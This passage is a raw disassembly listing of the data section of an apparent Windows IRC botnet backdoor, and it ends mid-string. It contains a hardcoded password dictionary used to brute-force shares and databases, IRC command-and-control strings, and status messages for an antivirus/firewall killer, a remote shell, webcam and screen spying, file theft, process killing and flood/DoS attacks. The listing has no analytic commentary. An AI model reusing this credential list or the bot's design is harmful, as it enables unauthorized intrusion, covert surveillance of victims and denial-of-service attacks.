"cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_4294D0 dd 10h ; DATA XREF: sub_401ACD+AFCr ; sub_401ACD+B28r ... aIntranet db 'intranet',0 ; DATA XREF: .data:004294BCo align 10h aLan db 'lan',0 ; DATA XREF: .data:004294B4o aMain db 'main',0 ; DATA XREF: .data:004294B0o align 4 aWinpass db 'winpass',0 ; DATA XREF: .data:004294ACo aBlank db 'blank',0 ; DATA XREF: .data:004294A8o align 4 aOffice db 'office',0 ; DATA XREF: .data:004294A4o align 4 aControl db 'control',0 ; DATA XREF: .data:004294A0o aXp_0 db 'xp',0 ; DATA XREF: .data:0042949Co align 10h aNokia db 'nokia',0 ; DATA XREF: .data:00429498o align 4 aHp db 'hp',0 ; DATA XREF: .data:00429494o align 4 aSiemens db 'siemens',0 ; DATA XREF: .data:00429490o aCompaq db 'compaq',0 ; DATA XREF: .data:0042948Co align 4 aDell db 'dell',0 ; DATA XREF: .data:00429488o align 4 aCisco db 'cisco',0 ; DATA XREF: .data:00429484o align 4 aIbm db 'ibm',0 ; DATA XREF: .data:00429480o aOrainstall db 'orainstall',0 ; DATA XREF: .data:00429478o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:00429474o align 10h aSql db 'sql',0 ; DATA XREF: .data:00429470o ; char aSa[] aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFDo ; .data:0042946Co align 4 aDb1234 db 'db1234',0 ; DATA XREF: .data:00429468o align 10h aDb1 db 'db1',0 ; DATA XREF: .data:00429460o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0042945Co align 4 aData db 'data',0 ; DATA XREF: .data:00429458o align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: .data:00429454o align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: .data:00429450o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:0042944Co align 4 aAccess db 'access',0 ; DATA XREF: .data:00429448o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:00429440o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:0042943Co align 4 aDomain db 'domain',0 ; DATA XREF: .data:00429438o align 10h aHello db 'hello',0 ; DATA XREF: .data:00429434o align 4 aHell db 'hell',0 ; DATA XREF: .data:00429430o align 10h aGod db 'god',0 ; DATA XREF: .data:0042942Co aSex db 'sex',0 ; DATA XREF: .data:00429428o ; .data:off_4385E8o aSlut db 'slut',0 ; DATA XREF: .data:00429424o align 10h aBitch db 'bitch',0 ; DATA XREF: .data:00429420o align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0042941Co align 10h aExchange db 'exchange',0 ; DATA XREF: .data:00429418o align 4 aBackup db 'backup',0 ; DATA XREF: .data:00429414o align 4 aTechnical db 'technical',0 ; DATA XREF: .data:00429410o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: .data:0042940Co align 4 ; char aLogin[] aLogin db 'login',0 ; DATA XREF: sub_401ACD+AA3o ; .data:00429408o align 4 aMary db 'mary',0 ; DATA XREF: .data:00429404o align 4 aKatie db 'katie',0 ; DATA XREF: .data:00429400o align 4 aKate db 'kate',0 ; DATA XREF: .data:004293F8o align 4 aGeorge db 'george',0 ; DATA XREF: .data:004293F4o align 4 aEric db 'eric',0 ; DATA XREF: .data:004293F0o align 4 aChris db 'chris',0 ; DATA XREF: .data:004293ECo align 4 aIan db 'ian',0 ; DATA XREF: .data:004293E8o aNeil db 'neil',0 ; DATA XREF: .data:004293E4o align 10h aLee db 'lee',0 ; DATA XREF: .data:004293E0o aBrian db 'brian',0 ; DATA XREF: .data:004293DCo align 4 aSusan db 'susan',0 ; DATA XREF: .data:004293D4o align 4 aSue db 'sue',0 ; DATA XREF: .data:004293D0o aSam db 'sam',0 ; DATA XREF: .data:004293CCo aLuke db 'luke',0 ; DATA XREF: .data:004293C8o align 4 aPeter db 'peter',0 ; DATA XREF: .data:004293C4o ; .data:004293D8o align 4 aJohn db 'john',0 ; DATA XREF: .data:004293C0o align 4 aMike db 'mike',0 ; DATA XREF: .data:004293BCo align 4 aBill db 'bill',0 ; DATA XREF: .data:004293B8o align 4 aFred db 'fred',0 ; DATA XREF: .data:004293B4o align 4 aJoe db 'joe',0 ; DATA XREF: .data:004293B0o aJen db 'jen',0 ; DATA XREF: .data:004293ACo aBob db 'bob',0 ; DATA XREF: .data:004293A8o ; .data:004293FCo aQwe db 'qwe',0 ; DATA XREF: .data:004293A4o aZxc db 'zxc',0 ; DATA XREF: .data:004293A0o aAsd db 'asd',0 ; DATA XREF: .data:0042939Co aQaz db 'qaz',0 ; DATA XREF: .data:00429398o aWin2000 db 'win2000',0 ; DATA XREF: .data:00429394o aWinnt db 'winnt',0 ; DATA XREF: .data:00429390o align 4 aWinxp db 'winxp',0 ; DATA XREF: .data:0042938Co align 10h aWin2k db 'win2k',0 ; DATA XREF: .data:00429388o align 4 aWin98 db 'win98',0 ; DATA XREF: .data:00429384o align 10h aWindows db 'windows',0 ; DATA XREF: .data:00429380o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0042937Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: .data:00429378o aOem db 'oem',0 ; DATA XREF: .data:00429374o ; char aUser_0[] aUser_0 db 'user',0 ; DATA XREF: sub_401ACD+46D4o ; .data:00429370o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:0042936Co align 4 aHome db 'home',0 ; DATA XREF: .data:00429368o align 4 aAccounting db 'accounting',0 ; DATA XREF: .data:00429364o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:00429360o align 4 aInternet db 'internet',0 ; DATA XREF: .data:0042935Co ; .data:004294B8o align 10h aWww db 'www',0 ; DATA XREF: .data:00429358o aWeb db 'web',0 ; DATA XREF: .data:00429354o aOutlook db 'outlook',0 ; DATA XREF: .data:00429350o aMail db 'mail',0 ; DATA XREF: .data:0042934Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:00429348o align 10h aNull_1 db 'null',0 ; DATA XREF: .data:00429344o align 4 ; char aServer_1[] aServer_1 db 'server',0 ; DATA XREF: sub_401ACD+3E90o ; .data:0042933Co align 10h aSystem db 'system',0 ; DATA XREF: .data:00429338o align 4 aChangeme db 'changeme',0 ; DATA XREF: .data:00429330o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0042932Co align 4 aUnix db 'unix',0 ; DATA XREF: .data:00429328o align 4 aDemo db 'demo',0 ; DATA XREF: .data:00429324o align 4 aNone db 'none',0 ; DATA XREF: .data:00429320o align 4 aTest db 'test',0 ; DATA XREF: .data:00429318o align 4 a2004 db '2004',0 ; DATA XREF: .data:00429314o align 4 a2003 db '2003',0 ; DATA XREF: sub_41AA43+BAo ; .data:00429310o align 4 a2002 db '2002',0 ; DATA XREF: .data:0042930Co align 4 a2001 db '2001',0 ; DATA XREF: .data:00429308o align 4 a2000 db '2000',0 ; DATA XREF: .data:00429304o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:00429300o align 10h a123456789 db '123456789',0 ; DATA XREF: .data:004292FCo align 4 a12345678 db '12345678',0 ; DATA XREF: .data:004292F8o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:004292F4o a123456 db '123456',0 ; DATA XREF: .data:004292F0o align 4 a12345 db '12345',0 ; DATA XREF: .data:004292ECo align 10h a1234 db '1234',0 ; DATA XREF: .data:004292E8o align 4 a123 db '123',0 ; DATA XREF: .data:004292E4o a12 db '12',0 ; DATA XREF: .data:004292E0o align 10h a1: ; DATA XREF: .data:004292DCo unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .data:004292D8o aPwd db 'pwd',0 ; DATA XREF: .data:004292D4o aPass_1 db 'pass',0 ; DATA XREF: .data:004292D0o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:004292CCo align 10h aPasswd db 'passwd',0 ; DATA XREF: .data:004292C8o align 4 aPassword db 'password',0 ; DATA XREF: .data:004292C4o align 4 aPassword1 db 'password1',0 ; DATA XREF: .data:004292C0o align 10h aAdm db 'adm',0 ; DATA XREF: .data:004292BCo aDb2 db 'db2',0 ; DATA XREF: .data:00429464o aOracle db 'oracle',0 ; DATA XREF: .data:0042947Co align 10h aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: .data:00429444o align 10h aDefault db 'default',0 ; DATA XREF: .data:00429334o aGuest_0 db 'guest',0 ; DATA XREF: .data:0042931Co align 10h aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: .data:004294C4o aStudent db 'student',0 ; DATA XREF: .data:004294C0o aOwner db 'owner',0 align 4 aComputer db 'computer',0 align 10h aRoot db 'root',0 ; DATA XREF: .data:00429340o align 4 aStaff db 'staff',0 ; DATA XREF: .data:004294C8o align 10h aAdmin db 'admin',0 ; DATA XREF: .data:004292B8o align 4 aAdmins db 'admins',0 ; DATA XREF: .data:004292B4o align 10h aAdministrat db 'administrat',0 ; DATA XREF: .data:004292B0o aAdministrateur db 'administrateur',0 ; DATA XREF: .data:004292ACo align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:004292A8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:004292A4o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: .data:off_429160o ; char asc_4299D8[] asc_4299D8 db '-' ; DATA XREF: WinMain(x,x,x,x)+46Bo db 3, 34h, 2 dd 6E656469h, 2036474h aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 ; char asc_429A0C[] asc_429A0C db '-' ; DATA XREF: WinMain(x,x,x,x)+420o db 3, 34h, 2 dd 6E656469h, 2036474h aServerRunningO db '- Server running on Port: 113.',0 align 4 ; char asc_429A38[] asc_429A38 db '-' ; DATA XREF: WinMain(x,x,x,x)+3F3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 ; char asc_429A78[] asc_429A78 db '-' ; DATA XREF: WinMain(x,x,x,x)+3A2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 ; char asc_429A9C[] asc_429A9C db '-' ; DATA XREF: WinMain(x,x,x,x)+364o db 3, 34h, 2 dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h dd 0 ; char aSDS[] aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+28Fo align 4 ; char Format[] Format db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+189o ; sub_415A30+7Eo ... align 4 ; char aSS[] aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+10Do ; sub_40F6B4+EAo ... align 4 ; char asc_429AD4[] asc_429AD4 db '-' ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 ; char aNickSUserS00S[] aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h ; char aPassS[] aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 ; char aModeSS_0[] aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo align 4 ; char aUserhostS[] aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o align 4 unk_429B3C db 2Dh ; - ; DATA XREF: sub_401ACD+7F0Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429B5C db 2Dh ; - ; DATA XREF: sub_401ACD+7EEDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429B7C db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 ; char aNoticeSHostAut[] aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E63o align 10h unk_429BD0 db 2Dh ; - ; DATA XREF: sub_401ACD+7E25o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 ; char aNoticeSYourAtt[] aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E13o ; sub_401ACD+7E7Ao align 4 ; char aNoticeSPassAut[] aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFCo align 10h ; char asc_429C50[] asc_429C50: ; DATA XREF: sub_401ACD+7DCCo unicode 0, <~>,0 ; char asc_429C54[] asc_429C54 db '-' ; DATA XREF: sub_401ACD+7D7Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 ; char asc_429C78[] asc_429C78 db '-' ; DATA XREF: sub_401ACD+7D0Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 10h ; char asc_429CA0[] asc_429CA0 db '-' ; DATA XREF: sub_401ACD+7CC4o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7CA2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CE8 db 2Dh ; - ; DATA XREF: sub_401ACD+7C82o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429D0C db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 10h dword_429D30 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Bo dd 2E732520h, 0 ; char asc_429D4C[] asc_429D4C db '-' ; DATA XREF: sub_401ACD:loc_409685o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_429D78 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB1o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 ; char asc_429D9C[] asc_429D9C db '-' ; DATA XREF: sub_401ACD:loc_4095FDo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7B26o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 ; char aAll[] aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Co unk_429DF0 db 2Dh ; - ; DATA XREF: sub_401ACD+79FFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429E18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B3o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E3C db 2Dh ; - ; DATA XREF: sub_401ACD+79DCo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429E5C db 2Dh ; - ; DATA XREF: sub_401ACD+79B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409468o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 ; char asc_429EAC[] asc_429EAC db '-' ; DATA XREF: sub_401ACD+796Do db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429ECC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD+7926o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 ; char asc_429F1C[] asc_429F1C db '-' ; DATA XREF: sub_401ACD:loc_409399o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F4C db 2Dh ; - ; DATA XREF: sub_401ACD+78C5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h ; char asc_429F70[] asc_429F70 db '-' ; DATA XREF: sub_401ACD+7885o db 3, 34h, 2 dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h dd 2Eh ; char asc_429F8C[] asc_429F8C db '-' ; DATA XREF: sub_401ACD+7803o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429FB0 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7786o dd 0 ; char asc_429FC8[] asc_429FC8 db '-' ; DATA XREF: sub_401ACD+7755o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 ; char asc_42A008[] asc_42A008 db '-' ; DATA XREF: sub_401ACD+76E6o db 3, 34h, 2 dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh dword_42A020 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_409140o dd 746E6573h, 2Eh unk_42A03C db 2Dh ; - ; DATA XREF: sub_401ACD+766Co db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 ; char asc_42A05C[] asc_42A05C db '-' ; DATA XREF: sub_401ACD+7630o db 3, 34h, 2 dd 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh, 732520h ; char asc_42A074[] asc_42A074 db '-' ; DATA XREF: sub_401ACD+7611o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h ; char asc_42A0A0[] asc_42A0A0 db 0Ah,0 ; DATA XREF: sub_401ACD+75F9o ; sub_40F6B4+FBo ... align 4 unk_42A0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+75CFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 unk_42A0C8 db 2Dh ; - ; DATA XREF: sub_401ACD+75C2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_42A0EC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_42A12C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409015o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_42A16C db 2Dh ; - ; DATA XREF: sub_401ACD+753Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 4 ; char aVideo[] aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F87o align 10h ; char asc_42A1A0[] asc_42A1A0 db '-' ; DATA XREF: sub_401ACD:loc_408F74o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 4 unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 ; char asc_42A20C[] asc_42A20C db '-' ; DATA XREF: sub_401ACD+7490o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 ; char aFrame[] aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE6o align 10h ; char asc_42A240[] asc_42A240 db '-' ; DATA XREF: sub_401ACD+740Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 4 ; char asc_42A268[] asc_42A268 db '-' ; DATA XREF: sub_401ACD+73D9o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 10h ; char aDrivers[] aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E59o ; char asc_42A298[] asc_42A298 db '-' ; DATA XREF: sub_401ACD:loc_408E46o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_42A2D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 ; char asc_42A304[] asc_42A304 db '-' ; DATA XREF: sub_401ACD+7362o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 ; char aScreen[] aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFEo align 4 ; char asc_42A338[] asc_42A338 db '-' ; DATA XREF: sub_401ACD+7319o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h dd 0 ; char asc_42A354[] asc_42A354 db '-' ; DATA XREF: sub_401ACD+72D3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 ; char asc_42A384[] asc_42A384 db '-' ; DATA XREF: sub_401ACD+72B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 ; char asc_42A3AC[] asc_42A3AC db '-' ; DATA XREF: sub_401ACD+720Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_42A3CC db 2Dh ; - ; DATA XREF: sub_401ACD+71D6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_42A3EC db 2Dh ; - ; DATA XREF: sub_401ACD+7181o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_42A408 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Fo ; char aPartS_1[] aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+70D5o ; sub_401ACD+7C48o align 4 unk_42A428 db 2Dh ; - ; DATA XREF: sub_401ACD+70B0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 ; char aModeS_0[] aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Fo align 10h dword_42A450 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7074o dd 25203A29h, 73h dword_42A46C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7005o dd 203A2973h, 7325h ; char aModeS[] aModeS db 'MODE %s',0 ; DATA XREF: sub_401ACD+6FAAo ; char dword_42A490[] dword_42A490 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F7Ao dd 203A2973h, 7325h ; char aJoinSS_0[] aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_401ACD+6F01o align 4 ; char aS[] aS db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6ECFo ; sub_401ACD+6F58o ... align 10h ; char aPartS_0[] aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401ACD+6E96o dword_42A4C8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E85o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A504[] asc_42A504 db '-' ; DATA XREF: sub_401ACD+6E16o db 3, 34h, 2 dd 67726174h, 3023361h aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h ; char asc_42A530[] asc_42A530 db '-' ; DATA XREF: sub_401ACD+6D86o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_42A56C[] asc_42A56C db '-' ; DATA XREF: sub_401ACD+6D1Bo db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 ; char asc_42A5A0[] asc_42A5A0 db '-' ; DATA XREF: sub_401ACD:loc_408746o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 ; char asc_42A5D4[] asc_42A5D4 db '-' ; DATA XREF: sub_401ACD+6C3Eo db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h dword_42A5EC dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408674o ; char aSSSS[] aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401ACD+6B63o ; sub_401ACD+6C15o ... align 10h ; char asc_42A610[] asc_42A610 db '-' ; DATA XREF: sub_401ACD:loc_4085D1o db 3, 34h, 2 dd 61647075h, 3026574h aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A658 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AFAo aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 ; char asc_42A694[] asc_42A694 db '-' ; DATA XREF: sub_401ACD+6A8Bo db 3, 34h, 2 dd 61647075h, 3026574h aDownloadingUpd db '- Downloading update 